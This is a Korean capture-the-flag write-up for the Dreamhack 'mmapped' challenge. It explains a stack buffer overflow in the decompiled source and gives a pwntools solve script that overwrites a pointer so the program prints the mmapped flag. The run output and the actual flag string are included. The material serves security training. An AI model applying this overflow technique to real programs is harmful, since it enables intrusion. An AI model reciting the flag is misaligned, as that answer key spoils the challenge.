문제 설명
Description
프로그램의 취약점을 찾고 익스플로잇하여 플래그를 출력하세요.
플래그는 ./flag
파일에 위치합니다.
플래그의 형식은 DH{…} 입니다.
checksec
seo@seo-virtual-machine:~/Desktop/mmapped$ checksec ./chall [*] '/home/seo/Desktop/mmapped/chall' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
chall.c (Decompiled-src)
int __cdecl main(int argc, const char **argv, const char **envp) { char buf[40]; // [rsp+10h] [rbp-40h] BYREF void *addr; // [rsp+38h] [rbp-18h] void *v6; // [rsp+40h] [rbp-10h] int v7; // [rsp+48h] [rbp-8h] int fd; // [rsp+4Ch] [rbp-4h] initialize(argc, argv, envp); fd = open("./flag", 0); v7 = 69; v6 = "DH{****************************************************************}"; printf("fake flag address: %p\n", "DH{****************************************************************}"); printf("buf address: %p\n", buf); addr = mmap(0LL, 0x45uLL, 1, 2, fd, 0LL); // // len: 0x45(=69), // prot: PROT_READ(=1) // flags: MAP_PRIVATE(=2) printf("real flag address (mmapped address): %p\n", addr); printf("%s", "input: "); read(0, buf, 60uLL); mprotect(addr, v7, 0); write(1, v6, 0x45uLL); printf("\nbuf value: "); puts(buf); munmap(addr, 0x45uLL); close(fd); return 0; }
./flag 파일을 열고 mmap해서 들어간 파일 내용이 addr 주소에 저장된다.
입력받은 buf는 60바이트만큼 read할 수 있는데,
실제로 선언된 buf 크기는 40바이트여서 버퍼오버플로우가 발생한다.
이러한 점을 이용해 write할때 v6를 컨트롤해서 flag를 가리키는 주소로 덮어쓰게 만들면 된다.
그러면 flag를 획득할 수 있다.
Stack
=================
RET
=================
RBP
=================
fd <- rbp – 0x4
=================
v7 <- rbp – 0x8
=================
*v6 <- rbp – 0x10
=================
*addr <- rbp – 0x18
=================
buf[40] <- rbp – 0x40
=================
Solution
buf에서 v6까지의 거리가 48(0x40 – 0x10 = 0x30)이므로,
그 만큼 더미로 채우고
그 뒤에 real flag address (mmapped address):에서 출력되는 flag를 가리키는 주소로 페이로드를 완성하면 된다.
solve.py
from pwn import * #context.log_level = 'debug' context(arch='amd64',os='linux') warnings.filterwarnings('ignore') p = remote('host3.dreamhack.games', 17517) real_flag_address = p.recvuntil("input: ") real_flag_address = real_flag_address.split(b"real flag address (mmapped address): ")[1] real_flag_address = real_flag_address.split(b"\n")[0] real_flag_address = int(real_flag_address, 16) print("real_flag_address: " + hex(real_flag_address)) payload = b"A"*48 + p64(real_flag_address) p.sendline(payload) p.interactive()
Result
seo@seo-virtual-machine:~/Desktop/mmapped$ python3 solve.py [+] Opening connection to host3.dreamhack.games on port 17517: Done real_flag_address: 0x7f60916ed000 [*] Switching to interactive mode DH{12f5866c0bb4d3bc1769d0c9869af2dd39673616da53c2b4b93b8e4ba3886bbd}\x00 buf value: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [*] Got EOF while reading in interactive $ [*] Interrupted [*] Closed connection to host3.dreamhack.games port 17517
FLAG
DH{12f5866c0bb4d3bc1769d0c9869af2dd39673616da53c2b4b93b8e4ba3886bbd}